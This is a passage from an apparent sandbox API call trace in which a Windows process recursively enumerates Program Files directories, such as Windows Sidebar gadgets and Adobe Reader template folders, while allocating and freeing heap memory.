hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312db1e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x558a, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new.png", cAlternateFileName="")) returned 1 [0210.015] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3130133f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0210.015] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315aebdb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0210.016] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0210.017] GetProcessHeap () returned 0x550000 [0210.017] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0210.018] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0210.018] GetProcessHeap () returned 0x550000 [0210.018] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0210.018] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0210.018] GetProcessHeap () returned 0x550000 [0210.018] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0210.020] GetProcessHeap () returned 0x550000 [0210.020] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0210.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0210.021] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0210.021] GetProcessHeap () returned 0x550000 [0210.021] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0210.021] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0210.021] GetProcessHeap () returned 0x550000 [0210.021] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0210.021] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0210.022] GetProcessHeap () returned 0x550000 [0210.022] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0210.025] GetProcessHeap () returned 0x550000 [0210.025] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0210.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0210.025] GetProcessHeap () returned 0x550000 [0210.025] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0210.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdbe2d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe2d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0210.026] GetProcessHeap () returned 0x550000 [0210.026] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0210.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0210.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0210.191] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0210.192] GetProcessHeap () returned 0x550000 [0210.192] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0210.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0210.376] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0210.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0210.669] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0210.670] GetProcessHeap () returned 0x550000 [0210.670] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0210.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0210.716] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0210.717] GetProcessHeap () returned 0x550000 [0210.717] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0210.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0210.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0210.805] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0210.806] GetProcessHeap () returned 0x550000 [0210.806] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0210.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.000] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.000] GetProcessHeap () returned 0x550000 [0211.000] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.056] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.057] GetProcessHeap () returned 0x550000 [0211.057] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.118] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.118] GetProcessHeap () returned 0x550000 [0211.118] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.293] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.299] GetProcessHeap () returned 0x550000 [0211.299] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.433] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.433] GetProcessHeap () returned 0x550000 [0211.433] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.551] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.552] GetProcessHeap () returned 0x550000 [0211.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.864] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.865] GetProcessHeap () returned 0x550000 [0211.865] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.865] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.866] GetProcessHeap () returned 0x550000 [0211.866] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.880] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.880] GetProcessHeap () returned 0x550000 [0211.880] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.881] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.881] GetProcessHeap () returned 0x550000 [0211.881] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.968] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.969] GetProcessHeap () returned 0x550000 [0211.969] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.969] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.969] GetProcessHeap () returned 0x550000 [0211.969] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.971] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.971] GetProcessHeap () returned 0x550000 [0211.971] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.973] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.973] GetProcessHeap () returned 0x550000 [0211.973] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.974] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.974] GetProcessHeap () returned 0x550000 [0211.974] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0211.975] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0211.975] GetProcessHeap () returned 0x550000 [0211.975] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0211.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.135] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0212.136] GetProcessHeap () returned 0x550000 [0212.136] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0212.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0212.140] FindClose (in: hFindFile=0x6398c8 | out: 